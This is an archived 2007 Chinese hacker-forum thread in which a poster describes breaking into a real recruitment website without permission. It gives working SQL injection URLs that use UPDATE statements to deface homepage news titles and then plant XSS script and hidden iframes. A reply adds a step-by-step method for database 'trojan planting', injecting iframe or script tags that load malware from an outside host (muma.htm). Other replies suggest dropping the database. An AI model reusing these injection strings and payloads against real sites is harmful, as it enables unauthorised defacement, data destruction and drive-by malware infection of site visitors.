邪恶八进制信息安全团队技术讨论组's Archiver

混世魔王 2007-7-9 23:43

[原创]小玩SQL注入 人才招聘网惨遭蹂躏

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
文章作者:混世魔王

惨不忍睹,一篇n年前打算忽悠稿费的文章...高手掠过....

  编者按:SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。

  现实的年代,现在失业率那可是想当的高,每天人才市场一开门,那家伙,那场面,那是相当大呀!那真是:锣鼓喧天,鞭炮齐鸣,红旗招展,人山人海呀...

  于是就跑到网上投简历,叫朋友介绍了一个本地的人才网站,随便看了一看URL,在URL上加了“’”,冒出个“ [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '11237' order by regtime desc' 之前有未闭合的引号。”的错误提示。再加了一个AND 1=1 和 AND 1=2 返回不同页面,经过初步判断,有注入的漏洞。呵呵,觉得自己太有才了!(小编:那是相当有才~~~)

  经过NBSI一顿乱扫,可以注入出表和字段,没找到管理员后台,DBO权限,却没路径,不能getwebshell。旁注不想看,我是来投简历的。不过,发现他站的首页的右下角,有显示新闻动态.有调用这些数据。

[attach]6253[/attach]

  我们只要修改库里的这个数据,就可以在他首页做点什么...我们来看看news的库,新闻嘛,再看看NBSI主他库的比较。不知道,细心的朋友,有没有发现我们注入的库,标题的字段是“title”。
[attach]6254[/attach]
   MSSQL,如果遇到MD5的后台,在不能破解的情况下可以UPDATE ,这里的文章,也是,首页调用文章的标题,我们update 掉的文章标题也是会在再首页显示的。

  UPDATE的语法:update 表名 set 字段='' where 原字段='xx',我们把表名和字段,带入语法就OK了。

  提交入下注入语句;
[url]http://26836659.blogcn.com/subjoin/corporation/infodetail.asp?id=388[/url]';update+news+set+title='混世魔王'+where+title='北京市基本医疗保险规定'--

  我已经把网站改成了我BLOG地址.呵呵,随便做个广告.我们来首页看看这段代码。已经修改成功。我这里就不再截图了。
[attach]6255[/attach]
   

  这里只是个连接的,我们可以再改改。如果我们把标题修改成  [attach]6256[/attach] 。在首页显示就是 [attach]6257[/attach]


  这个<a href= > 给</a> 闭合了。那后面就可以执行N多代码了,先来个<script>alert("******")</script> ****表示要输入的内容。

[attach]6258[/attach]


  嘿嘿,来刷新一下首页,跨站提示框出来了。我们还可以改成
<iframe src="XXXX" width="0" height="0"> </iframe>嘿嘿,就到这里点到为止,发封mail给管理员吧。
                                 
  编者语:现在很多网站对程序大意,变量过滤不严格,对于这种情况我们可以对数据库修改表结构;然后修改管理员的账号字段的数据类型,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。对表进行修改,设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字),把真正的管理员密码放在ID2后的任何一个位置。通过以上的修改,网站的安全会大大的提高。

█黑夜网客█ 2007-7-10 14:15

学习思路呵呵
主要还是你有耐心
换是我的话
我就不会那么麻烦
直接D他的网站 算了
呵呵
update 表名 set 字段=&#39;&#39; where 原字段=&#39;xx&#39;,我们把表名和字段,带入语法就OK了
我喜欢我还没用过
呵呵
菜鸟一只

poc 2007-7-11 14:39

这个貌似和小刀那个DB权限MSSQL数据库挂马一样的原理。。。。。
[s:279]

remax 2007-7-12 13:43

找不到路径的时候你可以多找些调用数据库的地方看看,因为如果他有这样的语句并且服务器设置有问题的话,vbs编译器会把路径报漏出来的
id = cint(id)
。。。
...

nixilin 2007-7-25 23:11

呵呵,要是给我的话,拿不下来,就直接 drop database XXXX;-- 了。。 [s:264]

zzzddd 2007-7-29 12:10

面介绍。数据库挂马,这里我们拿mssql数据库为例子。

  这里说的是首页调用到的数据库,比如新闻,论坛,公告,等等,一般是标题。   
举个例子,比如首页有一条新闻为:“今日报道”,那么鼠标点此新闻,地址栏打开的新窗口为news.asp?id=XX,这种情况,这时,就可以判断此新闻是从数据库中调用的了,当然了,我们不说access,只说mssql。

  首页,我们要有这个网站中的一个注入点,比如就点在music.asp?id=1,同时,至少是Db_Owner权限,这时如果要挂马可以不用取到webshell,因为如果我们的目的只在于挂马的话,而且有时,还得检测mssql数据库和web服务器不在同一个机器上,那挂马的方式就是更改数据库内容,这里我说的就是这种,如上面说的,首页显示的一条新闻标题为“今日报道”,如果首页显示的标题是“今日报道</a><iframe src=http://www.xxxx.com/muma.htm width=0 height=0></iframe>”,那这样的话,首页就会执行这段代码了,像这种情况,找到了注入点,就得找表名,如此新闻的表名为news,字段为title,ID等等,根据猜测 &#39; and1=1 ……

暴出的字段title的值就为“今日报道”,那么90%就可以猜到了,首页调用的数据库的字段就为news表中的title,这时在注入点,可以大胆提交music.asp?id=xxx;update news set title=&#39;今日报道</a><iframe src=http://www.xxxx.com/muma.htmwidth=0 height=0></iframe>&#39; where id=1;

  这样就可以更改数据库了,前提是最少要少Db_Owner权限,当然也有时由于代码原因,也可以这样提交:Music.asp?id=xxx&#39;;update news set title=&#39;今日开夜</a><ifrmae src=http://www.xxxx.com/muma.htm width=0 height=0></iframe>&#39; where id=1 and &#39;1&#39;=&#39;1 等等……

  这种方法是有问题的,实战中存在不少问题,因为一般的情况下,标题都是通过<table>来限制宽度,也就是说如果你的标题的长度超过了指定的长度,那么你的代码只能写一半,这样就不能执行了,所以挂马最好的方法是用<script>这种方法来挂马了,如:
music.asp?id=xxx;update news set title=&#39;今日报道</a><script src=http://www.xxxx.com.muma.htm></script>&#39; where id=1;--长度有很大的减少,很不错。

页: [1]
© 1999-2008 EvilOctal Security Team